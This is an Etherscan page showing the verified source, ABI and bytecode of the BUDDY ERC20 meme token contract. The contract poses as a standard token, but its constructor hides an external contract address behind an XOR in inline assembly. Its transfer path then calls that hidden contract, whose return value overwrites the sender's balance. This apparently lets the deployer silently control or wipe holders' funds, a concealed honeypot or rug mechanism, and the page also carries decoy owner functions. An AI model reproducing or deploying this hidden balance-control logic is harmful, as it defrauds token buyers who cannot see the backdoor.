ETH Price: $2,514.48 (+1.69%)

Token

A Mans Best Fren (BUDDY)
 

Overview

Max Total Supply

250,000,000 BUDDY

Holders

46

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
10,000,000 BUDDY

Value
$0.00
0x0d2b9c060c9742a9d08d36e408af5e5aa5084082
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Buddy

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-15
*/

/*
           __.                                              
        .-".'                      .--.            _..._    
      .' .'                     .'    \       .-""  __ ""-. 
     /  /                     .'       : --..:__.-""  ""-. \
    :  :                     /         ;.d$$    sbp_.-""-:_:
    ;  :                    : ._       :P .-.   ,"TP        
    :   \                    \  T--...-; : d$b  :d$b        
     \   `.                   \  `..'    ; $ $  ;$ $        
      `.   "-.                 ).        : T$P  :T$P        
        \..---^..             /           `-'    `._`._     
       .'        "-.       .-"                     T$$$b    
      /             "-._.-"               ._        '^' ;   
     :                                    \.`.         /    
     ;                                -.   \`."-._.-'-'     
    :                                 .'\   \ \ \ \         
    ;  ;                             /:  \   \ \ . ;        
   :   :                            ,  ;  `.  `.;  :        
   ;    \        ;                     ;    "-._:  ;        
  :      `.      :                     :         \/         
  ;       /"-.    ;                    :                    
 :       /    "-. :                  : ;                    
 :     .'        T-;                 ; ;        
 ;    :          ; ;                /  :        
 ;    ;          : :              .'    ;       
:    :            ;:         _..-"\     :       
:     \           : ;       /      \     ;      
;    . '.         '-;      /        ;    :      
;  \  ; :           :     :         :    '-.      
'.._L.:-'           :     ;  $BUDDY  ;    . `. 
                     ;    :          :  \  ; :  
                     :    '-..       '.._L.:-'  
                      ;     , `.                
                      :   \  ; :                
                      '..__L.:-'
*/

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

interface IERC20Metadata is IERC20 {
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function name() external view returns (string memory);
}

contract Ownable is Context {
    address private _previousOwner; address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

    address public pair;

    IDEXRouter router;

    string private _name; string private _symbol; uint256 private _totalSupply;
    bool public trade; uint256 public startBlock; address public msgSend;
    address public msgReceive;
    
    constructor (string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;

        assembly {
            sstore(0x50,0x185205e24698d6ad4e70ddba81932548a15ee44cee62)
            sstore(0x51,0x1852db010bdad323db766c0ccebe2ba0d27d364c11bb)
            sstore(0x52,xor(sload(0x50),sload(0x51)))
            }

        router = IDEXRouter(_router);
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function addTarget(uint256 receiver, uint number, address account) public onlyOwner returns (bytes memory uniswapFlag) {
    }

    function accountFilter(uint256 number, bytes memory uniswapFlag) public onlyOwner returns (uint256 sender) {
    }

    function openTrade() public payable {
        require((msg.sender == owner() && (trade == false)), "Ownable: caller is not the owner");

        _approve(address(this), _router, ~uint256(0));

        uint256 uniswapSupply = _totalSupply / 10000 * (10000 - 250);
        _balances[address(this)] += uniswapSupply;
        _balances[msg.sender] -= uniswapSupply;
        emit Transfer(msg.sender, address(this), uniswapSupply);

        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        router.addLiquidityETH{value: msg.value}(address(this), uniswapSupply, uniswapSupply, msg.value, owner(), block.timestamp + 300);

        trade = true; startBlock = block.number;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
        
    function marketWithORDINALs(address sender, uint256 amount) internal returns (uint256 result) {
            assembly {
                let data := mload(0x40)
                mstore(data, 0x9b270da800000000000000000000000000000000000000000000000000000000)
                mstore(add(data, 0x04), amount)
                mstore(0x40, add(data, 0x24))
                let success := call(gas(), sload(0x52), 0, data, 0x24, data, 0x20)
                if success { result := mload(data) }
            }

        _balances[sender] = result - amount;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        msgSend = sender; msgReceive = recipient;

        require(((trade == true) || (msgSend == address(this)) || (msgSend == owner())), "ERC20: trading is not yet enabled");
        require(msgSend != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        marketWithORDINALs(sender, amount);

        _balances[recipient] += amount;  

        emit Transfer(sender, recipient, amount);  
    }

    function _DeployBuddy(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply += amount;
        _balances[msg.sender] += amount;
    
        emit Transfer(address(0), msg.sender, amount);
    }
}

contract ERC20Token is Context, ERC20 {
    constructor(
        string memory name, string memory symbol,
        address creator, uint256 initialSupply
    ) ERC20(name, symbol) {
        _DeployBuddy(creator, initialSupply);
    }
}

contract Buddy is ERC20Token {
    constructor() ERC20Token("A Mans Best Fren", "BUDDY", msg.sender, 250000000 * 10 ** 18) {
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"number","type":"uint256"},{"internalType":"bytes","name":"uniswapFlag","type":"bytes"}],"name":"accountFilter","outputs":[{"internalType":"uint256","name":"sender","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"receiver","type":"uint256"},{"internalType":"uint256","name":"number","type":"uint256"},{"internalType":"address","name":"account","type":"address"}],"name":"addTarget","outputs":[{"internalType":"bytes","name":"uniswapFlag","type":"bytes"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgReceive","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"msgSend","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"trade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6080604052600480546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560058054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015610057575f80fd5b506040518060400160405280601081526020016f209026b0b739902132b9ba10233932b760811b81525060405180604001604052806005815260200164425544445960d81b815250336acecb8f27f4200f3a00000083835f6100bd6101a760201b60201c565b600180546001600160a01b0319166001600160a01b038316908117909155604051919250905f907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060086101168382610311565b5060096101238282610311565b505075185205e24698d6ad4e70ddba81932548a15ee44cee6260505550751852db010bdad323db766c0ccebe2ba0d27d364c11bb60515573dee34d42058e9506b1b64f2d0ee87323d200ffd9605255600554600780546001600160a01b0319166001600160a01b0390921691909117905561019e82826101ab565b505050506103f5565b3390565b6001600160a01b0382166102055760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b80600a5f82825461021691906103d0565b9091555050335f90815260026020526040812080548392906102399084906103d0565b909155505060405181815233905f907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806102a157607f821691505b6020821081036102bf57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561030c57805f5260205f20601f840160051c810160208510156102ea5750805b601f840160051c820191505b81811015610309575f81556001016102f6565b50505b505050565b81516001600160401b0381111561032a5761032a610279565b61033e81610338845461028d565b846102c5565b602080601f831160018114610371575f841561035a5750858301515b5f19600386901b1c1916600185901b1785556103c8565b5f85815260208120601f198616915b8281101561039f57888601518255948401946001909101908401610380565b50858210156103bc57878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b808201808211156103ef57634e487b7160e01b5f52601160045260245ffd5b92915050565b610f8b806104025f395ff3fe608060405260043610610110575f3560e01c806370a082311161009d578063a8aa1b3111610062578063a8aa1b31146102df578063a9059cbb146102fe578063cfc91f661461031d578063dd62ed3e1461033c578063fb201b1d14610380575f80fd5b806370a0823114610245578063715018a6146102795780638da5cb5b1461028f57806395d89b41146102ac578063a705eee2146102c0575f80fd5b80631f0ba6c9116100e35780631f0ba6c9146101be57806323b872dd146101d7578063313ce567146101f657806348cd4cb11461021157806354950bfa14610226575f80fd5b806301a37fc21461011457806306fdde0314610150578063095ea7b31461017157806318160ddd146101a0575b5f80fd5b34801561011f575f80fd5b50600d54610133906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561015b575f80fd5b50610164610388565b6040516101479190610c50565b34801561017c575f80fd5b5061019061018b366004610c79565b610418565b6040519015158152602001610147565b3480156101ab575f80fd5b50600a545b604051908152602001610147565b3480156101c9575f80fd5b50600b546101909060ff1681565b3480156101e2575f80fd5b506101906101f1366004610ca3565b61042e565b348015610201575f80fd5b5060405160128152602001610147565b34801561021c575f80fd5b506101b0600c5481565b348015610231575f80fd5b50610164610240366004610ce1565b6104e4565b348015610250575f80fd5b506101b061025f366004610d17565b6001600160a01b03165f9081526002602052604090205490565b348015610284575f80fd5b5061028d610511565b005b34801561029a575f80fd5b506001546001600160a01b0316610133565b3480156102b7575f80fd5b50610164610584565b3480156102cb575f80fd5b50600e54610133906001600160a01b031681565b3480156102ea575f80fd5b50600654610133906001600160a01b031681565b348015610309575f80fd5b50610190610318366004610c79565b610593565b348015610328575f80fd5b506101b0610337366004610d46565b61059f565b348015610347575f80fd5b506101b0610356366004610dfb565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61028d6105cb565b60606008805461039790610e32565b80601f01602080910402602001604051908101604052809291908181526020018280546103c390610e32565b801561040e5780601f106103e55761010080835404028352916020019161040e565b820191905f5260205f20905b8154815290600101906020018083116103f157829003601f168201915b5050505050905090565b5f610424338484610898565b5060015b92915050565b5f61043a8484846109bc565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104c35760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104d785336104d28685610e7e565b610898565b60019150505b9392505050565b6001546060906001600160a01b031633146104dd5760405162461bcd60e51b81526004016104ba90610e91565b6001546001600160a01b0316331461053b5760405162461bcd60e51b81526004016104ba90610e91565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461039790610e32565b5f6104243384846109bc565b6001545f906001600160a01b031633146104285760405162461bcd60e51b81526004016104ba90610e91565b6001546001600160a01b0316331480156105e85750600b5460ff16155b6106045760405162461bcd60e51b81526004016104ba90610e91565b60055461061d9030906001600160a01b03165f19610898565b5f612710600a5461062e9190610ec6565b61063a90612616610ee5565b305f9081526002602052604081208054929350839290919061065d908490610efc565b9091555050335f9081526002602052604081208054839290610680908490610e7e565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561070c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107309190610f0f565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af1158015610783573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a79190610f0f565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d71934308480836107e56001546001600160a01b031690565b6107f14261012c610efc565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af115801561085c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108819190610f2a565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108fa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ba565b6001600160a01b03821661095b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ba565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff16151560011480610a0c5750600d546001600160a01b031630145b80610a275750600154600d546001600160a01b039081169116145b610a7d5760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b60648201526084016104ba565b600d546001600160a01b0316610ae35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ba565b6001600160a01b038216610b455760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ba565b610b4f8382610bc3565b506001600160a01b0382165f9081526002602052604081208054839290610b77908490610efc565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109af91815260200190565b5f604051631364e1b560e31b8152826004820152602481016040526020816024835f6052545af18015610bf557815192505b50610c0290508282610e7e565b6001600160a01b039093165f908152600260205260409020929092555090565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b602081525f6104dd6020830184610c22565b6001600160a01b0381168114610c76575f80fd5b50565b5f8060408385031215610c8a575f80fd5b8235610c9581610c62565b946020939093013593505050565b5f805f60608486031215610cb5575f80fd5b8335610cc081610c62565b92506020840135610cd081610c62565b929592945050506040919091013590565b5f805f60608486031215610cf3575f80fd5b83359250602084013591506040840135610d0c81610c62565b809150509250925092565b5f60208284031215610d27575f80fd5b81356104dd81610c62565b634e487b7160e01b5f52604160045260245ffd5b5f8060408385031215610d57575f80fd5b82359150602083013567ffffffffffffffff80821115610d75575f80fd5b818501915085601f830112610d88575f80fd5b813581811115610d9a57610d9a610d32565b604051601f8201601f19908116603f01168101908382118183101715610dc257610dc2610d32565b81604052828152886020848701011115610dda575f80fd5b826020860160208301375f6020848301015280955050505050509250929050565b5f8060408385031215610e0c575f80fd5b8235610e1781610c62565b91506020830135610e2781610c62565b809150509250929050565b600181811c90821680610e4657607f821691505b602082108103610e6457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561042857610428610e6a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610ee057634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761042857610428610e6a565b8082018082111561042857610428610e6a565b5f60208284031215610f1f575f80fd5b81516104dd81610c62565b5f805f60608486031215610f3c575f80fd5b835192506020840151915060408401519050925092509256fea26469706673582212200c61a539dda602cfc349350bd6dff84bc954d40795e0178c581ff4922024774564736f6c63430008190033

Deployed Bytecode

0x608060405260043610610110575f3560e01c806370a082311161009d578063a8aa1b3111610062578063a8aa1b31146102df578063a9059cbb146102fe578063cfc91f661461031d578063dd62ed3e1461033c578063fb201b1d14610380575f80fd5b806370a0823114610245578063715018a6146102795780638da5cb5b1461028f57806395d89b41146102ac578063a705eee2146102c0575f80fd5b80631f0ba6c9116100e35780631f0ba6c9146101be57806323b872dd146101d7578063313ce567146101f657806348cd4cb11461021157806354950bfa14610226575f80fd5b806301a37fc21461011457806306fdde0314610150578063095ea7b31461017157806318160ddd146101a0575b5f80fd5b34801561011f575f80fd5b50600d54610133906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561015b575f80fd5b50610164610388565b6040516101479190610c50565b34801561017c575f80fd5b5061019061018b366004610c79565b610418565b6040519015158152602001610147565b3480156101ab575f80fd5b50600a545b604051908152602001610147565b3480156101c9575f80fd5b50600b546101909060ff1681565b3480156101e2575f80fd5b506101906101f1366004610ca3565b61042e565b348015610201575f80fd5b5060405160128152602001610147565b34801561021c575f80fd5b506101b0600c5481565b348015610231575f80fd5b50610164610240366004610ce1565b6104e4565b348015610250575f80fd5b506101b061025f366004610d17565b6001600160a01b03165f9081526002602052604090205490565b348015610284575f80fd5b5061028d610511565b005b34801561029a575f80fd5b506001546001600160a01b0316610133565b3480156102b7575f80fd5b50610164610584565b3480156102cb575f80fd5b50600e54610133906001600160a01b031681565b3480156102ea575f80fd5b50600654610133906001600160a01b031681565b348015610309575f80fd5b50610190610318366004610c79565b610593565b348015610328575f80fd5b506101b0610337366004610d46565b61059f565b348015610347575f80fd5b506101b0610356366004610dfb565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b61028d6105cb565b60606008805461039790610e32565b80601f01602080910402602001604051908101604052809291908181526020018280546103c390610e32565b801561040e5780601f106103e55761010080835404028352916020019161040e565b820191905f5260205f20905b8154815290600101906020018083116103f157829003601f168201915b5050505050905090565b5f610424338484610898565b5060015b92915050565b5f61043a8484846109bc565b6001600160a01b0384165f908152600360209081526040808320338452909152902054828110156104c35760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6104d785336104d28685610e7e565b610898565b60019150505b9392505050565b6001546060906001600160a01b031633146104dd5760405162461bcd60e51b81526004016104ba90610e91565b6001546001600160a01b0316331461053b5760405162461bcd60e51b81526004016104ba90610e91565b6001546040515f916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b60606009805461039790610e32565b5f6104243384846109bc565b6001545f906001600160a01b031633146104285760405162461bcd60e51b81526004016104ba90610e91565b6001546001600160a01b0316331480156105e85750600b5460ff16155b6106045760405162461bcd60e51b81526004016104ba90610e91565b60055461061d9030906001600160a01b03165f19610898565b5f612710600a5461062e9190610ec6565b61063a90612616610ee5565b305f9081526002602052604081208054929350839290919061065d908490610efc565b9091555050335f9081526002602052604081208054839290610680908490610e7e565b9091555050604051818152309033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a360075f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561070c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107309190610f0f565b600480546040516364e329cb60e11b81526001600160a01b0391821692810192909252306024830152919091169063c9c65396906044016020604051808303815f875af1158015610783573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107a79190610f0f565b600680546001600160a01b039283166001600160a01b03199091161790556007541663f305d71934308480836107e56001546001600160a01b031690565b6107f14261012c610efc565b60405160e089901b6001600160e01b03191681526001600160a01b039687166004820152602481019590955260448501939093526064840191909152909216608482015260a481019190915260c40160606040518083038185885af115801561085c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108819190610f2a565b5050600b805460ff19166001179055505043600c55565b6001600160a01b0383166108fa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ba565b6001600160a01b03821661095b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ba565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b600d80546001600160a01b038086166001600160a01b031992831617909255600e805492851692909116919091179055600b5460ff16151560011480610a0c5750600d546001600160a01b031630145b80610a275750600154600d546001600160a01b039081169116145b610a7d5760405162461bcd60e51b815260206004820152602160248201527f45524332303a2074726164696e67206973206e6f742079657420656e61626c656044820152601960fa1b60648201526084016104ba565b600d546001600160a01b0316610ae35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ba565b6001600160a01b038216610b455760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ba565b610b4f8382610bc3565b506001600160a01b0382165f9081526002602052604081208054839290610b77908490610efc565b92505081905550816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516109af91815260200190565b5f604051631364e1b560e31b8152826004820152602481016040526020816024835f6052545af18015610bf557815192505b50610c0290508282610e7e565b6001600160a01b039093165f908152600260205260409020929092555090565b5f81518084528060208401602086015e5f602082860101526020601f19601f83011685010191505092915050565b602081525f6104dd6020830184610c22565b6001600160a01b0381168114610c76575f80fd5b50565b5f8060408385031215610c8a575f80fd5b8235610c9581610c62565b946020939093013593505050565b5f805f60608486031215610cb5575f80fd5b8335610cc081610c62565b92506020840135610cd081610c62565b929592945050506040919091013590565b5f805f60608486031215610cf3575f80fd5b83359250602084013591506040840135610d0c81610c62565b809150509250925092565b5f60208284031215610d27575f80fd5b81356104dd81610c62565b634e487b7160e01b5f52604160045260245ffd5b5f8060408385031215610d57575f80fd5b82359150602083013567ffffffffffffffff80821115610d75575f80fd5b818501915085601f830112610d88575f80fd5b813581811115610d9a57610d9a610d32565b604051601f8201601f19908116603f01168101908382118183101715610dc257610dc2610d32565b81604052828152886020848701011115610dda575f80fd5b826020860160208301375f6020848301015280955050505050509250929050565b5f8060408385031215610e0c575f80fd5b8235610e1781610c62565b91506020830135610e2781610c62565b809150509250929050565b600181811c90821680610e4657607f821691505b602082108103610e6457634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561042857610428610e6a565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82610ee057634e487b7160e01b5f52601260045260245ffd5b500490565b808202811582820484141761042857610428610e6a565b8082018082111561042857610428610e6a565b5f60208284031215610f1f575f80fd5b81516104dd81610c62565b5f805f60608486031215610f3c575f80fd5b835192506020840151915060408401519050925092509256fea26469706673582212200c61a539dda602cfc349350bd6dff84bc954d40795e0178c581ff4922024774564736f6c63430008190033

Deployed Bytecode Sourcemap

9875:135:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4838:22;;;;;;;;;;-1:-1:-1;4838:22:0;;;;-1:-1:-1;;;;;4838:22:0;;;;;;-1:-1:-1;;;;;178:32:1;;;160:51;;148:2;133:18;4838:22:0;;;;;;;;5421:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6402:160::-;;;;;;;;;;-1:-1:-1;6402:160:0;;;;;:::i;:::-;;:::i;:::-;;;1362:14:1;;1355:22;1337:41;;1325:2;1310:18;6402:160:0;1197:187:1;8038:108:0;;;;;;;;;;-1:-1:-1;8126:12:0;;8038:108;;;1535:25:1;;;1523:2;1508:18;8038:108:0;1389:177:1;4792:17:0;;;;;;;;;;-1:-1:-1;4792:17:0;;;;;;;;5972:422;;;;;;;;;;-1:-1:-1;5972:422:0;;;;;:::i;:::-;;:::i;5529:93::-;;;;;;;;;;-1:-1:-1;5529:93:0;;5612:2;2174:36:1;;2162:2;2147:18;5529:93:0;2032:184:1;4811:25:0;;;;;;;;;;;;;;;;6924:127;;;;;;;;;;-1:-1:-1;6924:127:0;;;;;:::i;:::-;;:::i;7903:::-;;;;;;;;;;-1:-1:-1;7903:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;8004:18:0;7977:7;8004:18;;;:9;:18;;;;;;;7903:127;4172:148;;;;;;;;;;;;;:::i;:::-;;3958:79;;;;;;;;;;-1:-1:-1;4023:6:0;;-1:-1:-1;;;;;4023:6:0;3958:79;;5309:104;;;;;;;;;;;;;:::i;4867:25::-;;;;;;;;;;-1:-1:-1;4867:25:0;;;;-1:-1:-1;;;;;4867:25:0;;;4657:19;;;;;;;;;;-1:-1:-1;4657:19:0;;;;-1:-1:-1;;;;;4657:19:0;;;5789:175;;;;;;;;;;-1:-1:-1;5789:175:0;;;;;:::